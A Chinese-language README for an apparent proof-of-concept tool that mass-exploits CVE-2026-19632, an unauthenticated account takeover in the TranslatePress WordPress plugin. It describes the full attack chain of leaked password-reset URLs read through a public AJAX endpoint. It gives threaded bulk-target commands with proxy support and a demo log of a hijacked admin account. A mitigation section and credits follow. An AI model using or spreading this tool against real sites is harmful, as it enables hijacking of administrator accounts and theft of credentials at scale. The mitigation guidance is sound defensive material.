CVE-2026-19632 — TranslatePress ≤ 3.3.1 未认证账户接管 PoC

针对 CVE-2026-19632 的大规模账户接管工具，该漏洞是 TranslatePress – Multilingual WordPress 插件（≤ 3.3.1）中因密码重置链接泄露导致的未认证账户接管。每个目标列表只需一条命令——完整攻击链自动执行，每次成功接管都会在发生的瞬间写入输出文件。

免责声明——仅限授权使用。 此工具会更改真实账户密码并触发真实的密码重置邮件。请仅将其用于您拥有或已获得明确书面许可测试的系统。 作者对任何滥用行为概不负责。

漏洞摘要

攻击链

1. 公共 AJAX nonce — 每个次要语言页面都会输出 trp_data，其中包含 get_translations nonce。未登录访客的 nonce 按设计是公开的；插件依赖它们来保证安全。
2. 重置 URL 存储在翻译字典中 — 插件挂钩 wp_mail 并以收件人的语言环境翻译外发邮件。 当匿名攻击者为个人资料语言环境为已发布次要语言的管理员触发 wp-login.php?action=lostpassword 时， 整封重置邮件——包括包含有效重置密钥的明文 wp-login.php?action=rp URL——会在攻击者的请求内同步插入到 wp_trp_dictionary_<default>_<locale> 中。SMTP 甚至不需要正常工作。
3. 公共字典读取 — trp_get_translations_regular 注册为 wp_ajax_nopriv，且在 3.3.2 之前仅验证公共 nonce。 任何人都可以通过 string_ids 枚举字典并提取密钥。

完整技术报告：CVE-2026-19632-REPORT.md

工具 — cve-2026-19632.py

一个自包含的脚本，可为列表中的每个目标执行完整攻击链：

1. 检测 TranslatePress（页面签名 + readme.txt 回退）
2. 提取公共 nonce 和所有已发布的次要语言 （trp_data + 语言切换器探测）
3. 验证未修补的公共 AJAX 处理器是否响应未认证请求
4. 发现用户名（REST API → 作者重定向 → 常见猜测，每个都通过 wp-login 错误预言机验证）
5. 首先收集已存储的重置 URL——无需触发
6. 否则为每个候选者触发密码重置，直到 URL 泄露
7. 重置密码（WP ≤ 6.x 和 WP 7.0 流程），登录，并在成功的那一刻——将 url|username|password 追加到输出文件 （刷新、线程安全、无需等待运行结束）

内置健壮性：

• 过期密钥回退 — 检测到已使用/已过期的收集密钥，并自动触发新的重置。
• 多语言覆盖 — 在每个次要语言字典中查找泄露，而不仅仅是第一个。
• 网络重试、代理支持、彩色日志（colorama，带纯文本回退）。
• 每个目标随机强密码（或通过 --new-password 使用固定密码）。

依赖安装

pip install -r requirements.txt

使用方法

# 针对目标列表完整执行，20 个线程
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20

# 为每个目标使用固定密码
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'

# 通过代理
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080

演示

针对实验室实例（WordPress 7.0.4 + TranslatePress 3.3.1， ar 默认 → en_US 次要）的终端日志——值已脱敏：

[00:09:06] [INFO] CVE-2026-19632 takeover tool - 3 target(s), 3 thread(s)...
[00:09:06] [SKIP]    http://example.com (no TranslatePress)
[00:09:07] [INFO]   http://TARGET TP found - langs: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO]   username candidates: ['admin', ...]
[00:09:09] [WARN]   attempt 1/3 failed (stale key)
[00:09:09] [WARN]   attempt 2/3 failed (stale key)
[00:09:09] [WARN]   attempt 3/3 failed (stale key)
[00:09:09] [INFO]   all keys stale - fresh reset trigger...
[00:09:15] [TAKEOVER] http://TARGET SUCCESS - user='admin' password='Pwn3d!2026'
[00:09:15] [INFO]   done. summary: ERROR=1 | SKIP=1 | TAKEOVER=1

vuln.txt（实时写入，在成功的那一刻）：

http://TARGET|admin|Pwn3d!2026

将 vuln.txt 视为敏感文件——它包含实时凭据 和/或有效的重置密钥。请将其添加到 .gitignore。

目标可利用所需条件

• TranslatePress ≤ 3.3.1，且至少有一个已发布的次要语言
• 自动字符串保存开启（高级设置 "Manual Translation Only" 关闭——默认状态）
• 目标账户的个人资料语言环境 = 次要语言
• 用户名可被发现
• 密码重置未被其他方式阻止

不需要： 正常工作的邮件服务器（URL 在 wp_mail 过滤器内部存储，在发送尝试之前）。

缓解措施

1. 将 TranslatePress 更新至 3.3.2 或更高版本（官方修复）。
2. 纵深防御：启用 "Manual Translation Only"，将管理员个人资料 语言环境保持为站点默认语言，对任何运行 ≤ 3.3.1 且带有次要语言的安装轮换凭据。
3. 监控 admin-ajax.php 日志，查找使用公共 security nonce 的连续 string_ids 枚举。

披露时间线

致谢

• 漏洞发现： Yuto Hyakumoto （momopon1415）和 Wordfence 团队，已在 3.3.2 变更日志中致谢。
• 概念验证： ghostpel

参考

• Wordfence 公告
• TranslatePress 3.3.2 变更日志
• ThaiCERT 公告
• IONIX 威胁中心
• CIRCL vulnerability-lookup

许可证

MIT © 2026 ghostpel